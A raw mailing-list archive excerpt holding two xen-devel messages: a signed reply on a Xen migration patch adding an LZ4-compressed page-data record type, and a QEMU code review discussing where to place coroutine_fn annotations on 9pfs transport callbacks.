 Tue, 21 Jul 2026 10:20:45 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=ueTna9TTIxkIRQ/87Pl5aGz4oj7cC06w6VrMIBh9wUg=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=l0gHLtoeBEYh4/55fFQ4uAen6dGjTlYi/TgjMO9ToY1kUx1EZTViidIR6PdedW0a66JQpeXmN
 xUuLXQvXfMr5pLNzikzON24dkijdMLP3CCGtyDC2KH/BSCEbMy0NlzgkkL4/2If0exYAzDCOmYc
 WID7rSb0BlVbMWqquGFrWAkc3DD+sP+RHePMAHIYqGjlFRiyOaJMkQrnMefnSfeC7NRhxZBRTy0
 68TXkNZmBXHWVlNLENTlTfKZWdFvqmzujfYhN9rbdChApHcFC50VfhBNFMr+stj9nJhMFX6IXt9
 PizTxJpkgtXwEhVhJySfcRvhLTIDEep2nfbEuIFDFamQ==
X-Zone-Loop: 665ee316efe1282b3b3cfcedcd811a7019c7173031cb
x-campaign-type: default
x-transaction-id: cbe2014d-cc8e-472c-955d-3118fbe78c82
x-swg-uid: 01-0108ff8d-86a1-4ae9-ae2d-8411ec538e1e
X-Mailer: Sweego
Message-ID:
 <1784622046.8631fc262581453bbf619ec5b2062170.19f83c35cd4000edb5@vates.tech>
x-swg-bid: 1784622046.8631fc262581453bbf619ec5b2062170.19f83c35cd4000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Tue, 21 Jul 2026 10:20:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 1/6] tools/migration: introduce PAGE_DATA_LZ4 stream
 record type
To: Marcus Granado <marcus.granado@citrix.com>, xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Frediano Ziglio <freddy77@gmail.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
References: <20260720154832.1907401-1-marcus.granado@citrix.com>
 <20260720154832.1907401-2-marcus.granado@citrix.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6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ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260720154832.1907401-2-marcus.granado@citrix.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------0UC0aOajDo2UabxkaSj3I9eB"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784622045833
X-purgate-ID: tlsNG-d25034/1784622049-016C6A5B-6664DDB5/0/0
X-purgate-type: clean
X-purgate-size: 12407

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------0UC0aOajDo2UabxkaSj3I9eB
Content-Type: multipart/mixed; boundary="------------1hw18fBG0LlOEUPVDT3CRXYm";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Marcus Granado <marcus.granado@citrix.com>, xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Frediano Ziglio <freddy77@gmail.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
Message-ID: <1c37d9c4-0950-4fea-9bfe-7f7691da6cef@vates.tech>
Subject: Re: [PATCH v1 1/6] tools/migration: introduce PAGE_DATA_LZ4 stream
 record type
References: <20260720154832.1907401-1-marcus.granado@citrix.com>
 <20260720154832.1907401-2-marcus.granado@citrix.com>
In-Reply-To: <20260720154832.1907401-2-marcus.granado@citrix.com>

--------------1hw18fBG0LlOEUPVDT3CRXYm
Content-Type: multipart/mixed; boundary="------------SEitb5PUUuWyMHgAsgRn908j"

--------------SEitb5PUUuWyMHgAsgRn908j
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMjAvMDcvMjAyNiDDoCAxNzo1MSwgTWFyY3VzIEdyYW5hZG8gYSDDqWNyaXTCoDoNCj4g
QWxsb2NhdGUgYSBuZXcgbWlncmF0aW9uIHN0cmVhbSByZWNvcmQgdHlwZSBSRUNfVFlQRV9Q
QUdFX0RBVEFfTFo0DQo+ICgweDAwMDAwMDEzKSB0byB0cmFuc21pdCBQQUdFX0RBVEEgd2hl
biBwYXlsb2FkIGlzIExaNC1jb21wcmVzc2VkLiBUaGUNCj4gcmVjb3JkIHVzZSB0aGUgc2Ft
ZSB4Y19zcl9yZWNfcGFnZV9kYXRhX2hlYWRlciBhcyBSRUNfVFlQRV9QQUdFX0RBVEENCj4g
YnV0IHRoZSBwYWdlIGRhdGEgc2VjdGlvbiB0eXBlIGNoYW5nZXMgZnJvbSBwYWdlX2RhdGEg
dG8gZGF0YV9sejQuDQo+IA0KPiBTaWduZWQtb2ZmLWJ5OiBNYXJjdXMgR3JhbmFkbyA8bWFy
Y3VzLmdyYW5hZG9AY2l0cml4LmNvbT4NCj4gLS0tDQo+ICAgZG9jcy9zcGVjcy9saWJ4Yy1t
aWdyYXRpb24tc3RyZWFtLnBhbmRvYyB8IDcxICsrKysrKysrKysrKysrKystDQo+ICAgdG9v
bHMvbGlicy9ndWVzdC94Z19zcl9jb21tb24uYyAgICAgICAgICB8ICA0ICsNCj4gICB0b29s
cy9saWJzL2d1ZXN0L3hnX3NyX3N0cmVhbV9mb3JtYXQuaCAgIHwgMTMgKysrKw0KPiAgIHRv
b2xzL3B5dGhvbi94ZW4vbWlncmF0aW9uL2xpYnhjLnB5ICAgICAgfCA5MCArKysrKysrKysr
KysrKysrKysrKy0NCj4gICB0b29scy9weXRob24veGVuL21pZ3JhdGlvbi90ZXN0cy5weSAg
ICAgIHwgOTkgKysrKysrKysrKysrKysrKysrKysrKyst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ename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNz
uyOVCskwfUZPla6Zpd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp
0x0HfuhcYfAYPR46XHTvjaJEv99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuR
OxdK8G+YHccJY8PvWSq2K2yiae2KGiAv1yjnZxug9/PtDfX8vQFUSg2w1ukRDf50
wvDohN1zUQfFtofOP2xCRsDZiHAlQ0pF+aUjXQhPeP3IdpfWc8cyRLXF06Rk46YM
YCytweGtGdHcqAfr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8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------SEitb5PUUuWyMHgAsgRn908j--

--------------1hw18fBG0LlOEUPVDT3CRXYm--

--------------0UC0aOajDo2UabxkaSj3I9eB
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpfK90FAwAAAAAACgkQZg+p0QLLz9Aw
Fgv+JRZeDD38rBEGX1m1zYFkbqgIJ3i+dp5yJ8mub1TMtGV4O0DQjPOzKwa8s3jBhz9HbRFts++R
y767hJQc9QkH7PqmVMIUOL0VTR1boSna5gRSqG8VsSen8fTniaSQBobTABjDWEHnqOnNy2d7C/nT
RPdGNRK683G8ON3+XWQkTt2Mu3qTtJk735TRFQgxQIRQrsl5OXdI8NvfsMve5RbJWauFuql37tvu
LCxP3CzmnSVxinlUTTXSIa3qcCj4TH/nJGV+cW9pg3MwJPSbZEsopBHHO+CHhTI+3Rjphkyx3cA3
Px3pWR/E25xg3ymZMrzkXEsiUNGM8/CGlacSF+v0vjEGRiWdspPE/PxSWo4Ma8T9BdGYRglNBIUV
2HDFLmpwXGsoSP0XuQvYG0tg6behDPZe2RmzQGM4lnctPDbOtyqIZb18QUt0T8J7wQTanHgFsqtb
IBUsmnXU50Gpq9l+erVwvrOJv10UL2NTWPOkalEJo/QvfYU56omlrqOuGWxy
=lAnz
-----END PGP SIGNATURE-----

--------------0UC0aOajDo2UabxkaSj3I9eB--


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 08:25:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 08:25:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367604.1617329 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5nK-0002r1-SW; Tue, 21 Jul 2026 08:25:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367604.1617329; Tue, 21 Jul 2026 08:25:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5nK-0002qu-PA; Tue, 21 Jul 2026 08:25:42 +0000
Received: by outflank-mailman (input) for mailman id 1367604;
 Tue, 21 Jul 2026 08:25:41 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <philmd@oss.qualcomm.com>) id 1wm5nJ-0002pj-FN
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 08:25:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm5nI-008uuZ-H4
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 10:25:40 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5f2ce7-bab6-0a2a0a5309dd-0a2a4506d346-46
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 10:25:40 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5f2d03-195a-0a2a45060019-cddcb48325ca-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 10:25:40 +0200
Received: from pps.filterd (m0279873.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66L6bwS23978338
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 08:25:38 GMT
Received: from mail-qt1-f200.google.com (mail-qt1-f200.google.com
 [209.85.160.200])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fhqv438vk-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 08:25:38 +0000 (GMT)
Received: by mail-qt1-f200.google.com with SMTP id
 d75a77b69052e-51c1a97644aso4334821cf.2
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 01:25:38 -0700 (PDT)
Received: from [192.168.69.219] (88-187-86-199.subs.proxad.net.
 [88.187.86.199]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4956547323bsm52072685e9.4.2026.07.21.01.25.35
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 21 Jul 2026 01:25:36 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:References:Cc:To:Content-Language:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	ZF1H2C3sWBUxUFeIPjxdM+X09KSU/DDuULUiVulHlSI=; b=GNBaIcbLoQV99QXL
	OhrtQ0Pj22BxtEAMk95gFHQeZ8f/ZXiZbZibdU03AJq/2+Cl00kUde9Hm61AKgvY
	5pgZ7q5CUVkhigqqQGr/rDaaZguJqiLwm/+wF0xZcqyoqI4ytErNBr68P3Q7JjYf
	THUpq4s6wLjto8PkbfaH8B0KGyfiHOP8kIOL/6edMe+9nwbZa5XB0JIDRJ/Nf927
	EbN6oW/4CbcqqEIqNGT091PB4ZzJoNeZhWAOd4CQungifm5Ecf1iKMk3DRhw28zS
	qc8CKk/ZIF0N7eL/JX9qD6D2ufe95eRN9l+A9xACL9NSgelE2MGYEbM8ZNS6sxcb
	oSh9Ow==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784622338; x=1785227138; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=ZF1H2C3sWBUxUFeIPjxdM+X09KSU/DDuULUiVulHlSI=;
        b=iSbUD6NRiyChdy6rjFG7oDlFDxfi0PGtriSWLrVIs/R3qP7EpX+MOq1pEoINcstaOD
         qUc6SSkDSiqJ5XqKK94jbUFp4M+5TdtI1nCWmoJFbK7+NBkyqI9T4MdY0LPTUeBQl+BZ
         mDlB/YboWVePpxXiDEifOqu0QrfUJb8F4XlyBKwTWw4shsTNAtJpC5aVrMYv4pjGEOBg
         dXgRjEsJi1lDMcwM+EVzZp1DIyHAmrTldw5TDef1HMmibW24P7Q7G6UQqp2OCBLIfbSg
         foR74uN4sECodats8sx/SJ2oDUorEyqw835pfinOQXUAk38N3RNbeRPaqXl1GfwFKFB8
         Ra9g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784622338; x=1785227138;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ZF1H2C3sWBUxUFeIPjxdM+X09KSU/DDuULUiVulHlSI=;
        b=FT4diXTbsFa0NswJLhdfjtvV25j2qFC/N0XHQIbRntjy42VgMvxVwU+6zsbBb1n4Gt
         DPLjoJSTUZdl1MEhQUlSihQXErLt8AsaGJaFtpykKm9WJhRmxq0TeTxCOCXFuYKqW8Ev
         y032fAmHAiaOFlHHmJZYxFJ1L3Q9nDV3LoIsJad/q14v3WkoDJOwiZz075q2CDbI78t0
         83Id1O6hrBVoZlim8ifpHSIarTA+GbeHIbqvokqPiaL6v4HxFmNCnA6UkXojMn5ICoiU
         UXKFWeHHZSCtqkjsdEDMhvKCmMLVr/cexKU954dPy9ihLmIphbVcdO800vM4HouWu1ml
         p+mw==
X-Forwarded-Encrypted: i=1; AHgh+Ro/OqLkYlyVF503bESbRgIraI6kGjfFGghZY3kfjVeIfF5nTkJPspOtlbSA0EtdJOqkDP4ThbLcfak=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwNgxPmZp8tBYjIaFjv4405VSSDS56LHW2PwtSciDfh9/XG4xEf
	BXOJOfWV1PiHo0CAbRcmDa1x4bX9KBgArefjS7fzzsBA3o+/p4jh+wgMmFh0iJ3tmG4VdbcV+Ya
	9FV6fKIxXm2EJX7+Tl6Wh7/PMQxbhHs/+aRAyGleE+jw7jNOX2eHMpcCEbowPy+uzUIYtxQ==
X-Gm-Gg: AfdE7cm2b4Qnl6vCJ2kyV8zKG4nmFXOCFDfUD3tBdMmZBZO2mNEUUSg+EHRcBuVvLBf
	csaoKc6Ze8Vo3rWeyUSZQzfAR79S8pnGqD9y80EcmZaKmyFs5iiOLpx/8lqpuUDkWRGUOOStW3H
	2+dX+SSLEiRCz1iNJYWoDoMYAJNza8YcMI8qA5XhpLmUMLAQpfXATXdFYp60DjT9CGxQAx4e24N
	++Q6lKMg60aH6vcgXm5wh0v/3nxv0MVREUV7TIVhgUKjPbcC55OCXYKT9aEfYV6cR4IMuqiiMqZ
	PeVfZsKcxms+hdIm43aNatGDGQcvrO2RykJQKqNMnHarVQpz+1hQ92JMHmRC5SflYo/ThPnPjfZ
	0Dfsv75i2uNSqOo1QVgo+2OsOPaHCR/KObHTy9c28C+z1E1KOI+A=
X-Received: by 2002:a05:622a:2517:b0:516:dff5:68c4 with SMTP id d75a77b69052e-5213c008207mr155290691cf.7.1784622337800;
        Tue, 21 Jul 2026 01:25:37 -0700 (PDT)
X-Received: by 2002:a05:622a:2517:b0:516:dff5:68c4 with SMTP id d75a77b69052e-5213c008207mr155290121cf.7.1784622337125;
        Tue, 21 Jul 2026 01:25:37 -0700 (PDT)
Message-ID: <af19f823-234c-462d-8c52-4d8cf4b93c4c@oss.qualcomm.com>
Date: Tue, 21 Jul 2026 10:25:34 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 7/8] hw/9pfs: annotate V9fsTransport callbacks as
 coroutine_fn
Content-Language: en-US
To: =?UTF-8?Q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Cc: Christian Schoenebeck <qemu_oss@crudebyte.com>, qemu-devel@nongnu.org,
        Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>,
        Fabiano Rosas <farosas@suse.de>,
        =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?=
 <berrange@redhat.com>,
        John Snow <jsnow@redhat.com>,
        Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
        Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
        qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
        Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
        Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Anthony PERARD <anthony@xenproject.org>,
        "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
        xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-7-fabb4db3c204@redhat.com> <7970030.EvYhyI6sBW@weasel>
 <7790107e-1256-4ed8-ba49-cab980197938@oss.qualcomm.com>
 <5af0aaf1-d372-4800-9f6f-8f5dacd8c69e@oss.qualcomm.com>
 <CAMxuvaxREAH4K45UYeC6PK5fnYXTZW9nitRApMdtaxOC6rPDow@mail.gmail.com>
 <CAMxuvaySONs4r=1Bmsao1f1cZdviGGwPVM8+1Q+1vdY0X-pYVw@mail.gmail.com>
From: =?UTF-8?Q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
In-Reply-To: <CAMxuvaySONs4r=1Bmsao1f1cZdviGGwPVM8+1Q+1vdY0X-pYVw@mail.gmail.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Proofpoint-ORIG-GUID: bjmfwCN3xS0S5_qNRmVDty_-AxN3y7dD
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzIxMDA4NyBTYWx0ZWRfX50a333u+TzlN
 SQschOpx0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RmVDty_-AxN3y7dD
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-20_06,2026-07-20_03,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 phishscore=0 impostorscore=0 priorityscore=1501 suspectscore=0 malwarescore=0
 clxscore=1015 adultscore=0 spamscore=0 lowpriorityscore=0 bulkscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607210087
X-purgate-ID: tlsNG-16d1c6/1784622340-FD80D77B-1A02468D/0/0
X-purgate-type: clean
X-purgate-size: 5854

On 21/7/26 10:06, Marc-AndrÃƒÂ© Lureau wrote:
> Hi
> 
> On Tue, Jul 21, 2026 at 11:58â€¯AM Marc-AndrÃ© Lureau
> <marcandre.lureau@redhat.com> wrote:
>>
>> Hi
>>
>> On Tue, Jul 21, 2026 at 12:54â€¯AM Philippe Mathieu-DaudÃ©
>> <philmd@oss.qualcomm.com> wrote:
>>>
>>> On 20/7/26 22:42, Philippe Mathieu-DaudÃƒÂ© wrote:
>>>> On 20/7/26 16:02, Christian Schoenebeck wrote:
>>>>> On Monday, 20 July 2026 09:55:36 CEST Marc-AndrÃ© Lureau wrote:
>>>>>> All V9fsTransport callbacks are invoked exclusively from coroutine
>>>>>> context (the v9fs_* PDU handlers). Annotate the function pointer
>>>>>> types in V9fsTransport and all implementations (virtio and xen
>>>>>> backends), as well as intermediate callers in 9p.c (pdu_marshal,
>>>>>> pdu_unmarshal, v9fs_init_qiov_from_pdu, etc.).
>>>>>>
>>>>>> Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
>>>>>> ---
>>>>>>    hw/9pfs/9p.h               | 26 +++++++++++++++-----------
>>>>>>    hw/9pfs/9p.c               | 31 +++++++++++++++++++------------
>>>>>>    hw/9pfs/virtio-9p-device.c | 24 +++++++++++++-----------
>>>>>>    hw/9pfs/xen-9p-backend.c   | 34 +++++++++++++++++-----------------
>>>>>>    4 files changed, 64 insertions(+), 51 deletions(-)
>>>>>>
>>>>>> diff --git a/hw/9pfs/9p.h b/hw/9pfs/9p.h
>>>>>> index 1a309664f6e..0e52ffbdf38 100644
>>>>>> --- a/hw/9pfs/9p.h
>>>>>> +++ b/hw/9pfs/9p.h
>>>>>> @@ -472,17 +472,21 @@ void pdu_submit(V9fsPDU *pdu, P9MsgHeader *hdr);
>>>>>>    void v9fs_reset(V9fsState *s);
>>>>>>
>>>>>>
>>>>>>    struct V9fsTransport {
>>>>>> -    ssize_t     (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset, const
>>>>>> char *fmt,
>>>>>> -                                va_list ap);
>>>>>> -    ssize_t     (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offset, const
>>>>>> char *fmt,
>>>>>> -                                  va_list ap);
>>>>>> -    void        (*init_in_iov_from_pdu)(V9fsPDU *pdu, struct iovec
>>>>>> **piov,
>>>>>> -                                        unsigned int *pniov, size_t
>>>>>> size);
>>>>>> -    void        (*init_out_iov_from_pdu)(V9fsPDU *pdu, struct iovec
>>>>>> **piov,
>>>>>> -                                         unsigned int *pniov, size_t
>>>>>> size);
>>>>>> -    void        (*push_and_notify)(V9fsPDU *pdu);
>>>>>> -    size_t      (*msize_limit)(V9fsState *s);
>>>>>> -    size_t      (*response_buffer_size)(V9fsPDU *pdu);
>>>>>> +    ssize_t     coroutine_fn (*pdu_vmarshal)(V9fsPDU *pdu, size_t
>>>>>> offset,
>>>>>> +                                             const char *fmt,
>>>>>> va_list ap);
>>>>>> +    ssize_t     coroutine_fn (*pdu_vunmarshal)(V9fsPDU *pdu, size_t
>>>>>> offset,
>>>>>> +                                               const char *fmt,
>>>>>> va_list ap);
>>>>>> +    void        coroutine_fn (*init_in_iov_from_pdu)(V9fsPDU *pdu,
>>>>>> +                                                     struct iovec
>>>>>> **piov,
>>>>>> +                                                     unsigned int
>>>>>> *pniov,
>>>>>> +                                                     size_t size);
>>>>>> +    void        coroutine_fn (*init_out_iov_from_pdu)(V9fsPDU *pdu,
>>>>>> +                                                      struct iovec
>>>>>> **piov,
>>>>>> +                                                      unsigned int
>>>>>> *pniov,
>>>>>> +                                                      size_t size);
>>>>>> +    void        coroutine_fn (*push_and_notify)(V9fsPDU *pdu);
>>>>>> +    size_t      coroutine_fn (*msize_limit)(V9fsState *s);
>>>>>> +    size_t      coroutine_fn (*response_buffer_size)(V9fsPDU *pdu);
>>>>>>    };
>>>>>
>>>>> I wonder whether that could be made more diff/blame-friendly.
>>>>> Especially as
>>>>> this currently only serves documentation purposes.
>>>>>
>>>>> They way you are positioning coroutine_fn it usually resolves to an
>>>>> attribute
>>>>> attached to the function's return type, not to the function itself, even
>>>>> though clang/gcc handling it flexible. For attaching an attribute to the
>>>>> function itself the attribute should either be attached before the
>>>>> function
>>>>> declaration or after the function declaration.
>>>>
>>>> I tend to aggree it would be clearer to have these attributes /before/
>>>> the function prototype declaration.
>>>
>>> $ git grep -E '^(static )?coroutine_(mixed_)?fn' | wc -l
>>>         90
>>
>> More like
>> $  git grep -rnE '\b(coroutine_fn|co_wrapper[a-z_]*)\b' | wc -l
>> 1343
>>
> 
> That matching is not accurate, it's actually hard enough to match all
> annotations instances.. but this should be a rough estimation.
> 
>> most of them are "return-type co_annotation fn(..)"
>> we even have scripts/block-coroutine-wrapper.py that relies and
>> produce this order..
>> a bit late to change the style imho...
>>
>> At least, let's not make this a requirement for this series, please

Not a requirement on my side, but if we had to pick a style,
I'd vote for "attribute before return type".

>>
>>>> block/block-copy.c:47:static coroutine_fn int
>>> block_copy_task_entry(AioTask *task);
>>> block/copy-before-write.c:106:static coroutine_fn int
>>> cbw_do_copy_before_write(BlockDriverState *bs,
